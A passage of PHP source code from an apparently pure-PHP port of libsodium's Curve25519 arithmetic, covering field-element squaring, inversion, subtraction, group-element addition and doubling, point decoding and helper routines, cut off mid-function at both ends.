        $f3f5_4 = $f3_2->mulInt64($f5_2, 28);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 29);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 29);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 29);
        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 29);
        $f4f7_38 = $f7_38->mulInt64($f4, 29);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 29);
        $f4f9_38 = $f9_38->mulInt64($f4, 29);
        $f5f5_38 = $f5_38->mulInt64($f5, 29);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 29);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 29);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 29);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 29);
        $f6f6_19 = $f6_19->mulInt64($f6, 29);
        $f6f7_38 = $f7_38->mulInt64($f6, 29);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 29);
        $f6f9_38 = $f9_38->mulInt64($f6, 29);
        $f7f7_38 = $f7_38->mulInt64($f7, 29);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 29);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 29);
        $f8f8_19 = $f8_19->mulInt64($f8, 29);
        $f8f9_38 = $f9_38->mulInt64($f8, 29);
        $f9f9_38 = $f9_38->mulInt64($f9, 29);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */
        $h0 = $h0->shiftLeft(1);
        $h1 = $h1->shiftLeft(1);
        $h2 = $h2->shiftLeft(1);
        $h3 = $h3->shiftLeft(1);
        $h4 = $h4->shiftLeft(1);
        $h5 = $h5->shiftLeft(1);
        $h6 = $h6->shiftLeft(1);
        $h7 = $h7->shiftLeft(1);
        $h8 = $h8->shiftLeft(1);
        $h9 = $h9->shiftLeft(1);

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedTypeCoercion
     */
    public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $f[0]->subInt32($g[0]),
                $f[1]->subInt32($g[1]),
                $f[2]->subInt32($g[2]),
                $f[3]->subInt32($g[3]),
                $f[4]->subInt32($g[4]),
                $f[5]->subInt32($g[5]),
                $f[6]->subInt32($g[6]),
                $f[7]->subInt32($g[7]),
                $f[8]->subInt32($g[8]),
                $f[9]->subInt32($g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_add(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayOffset
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (1 &
                (
                    self::chrToInt($a[$i >> 3])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     * @psalm-suppress MixedReturnStatement
     */
    public static function equal($b, $c)
    {
        $b0 = $b & 0xffff;
        $b1 = ($b >> 16) & 0xffff;
        $c0 = $c & 0xffff;
        $c1 = ($c >> 16) & 0xffff;

        $d0 = (($b0 ^ $c0) - 1) >> 31;
        $d1 = (($b1 ^ $c1) - 1) >> 31;
        return ($d0 & $d1) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string|int $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        /** @var string $char */
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 31);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function cmov(
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedArgument
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
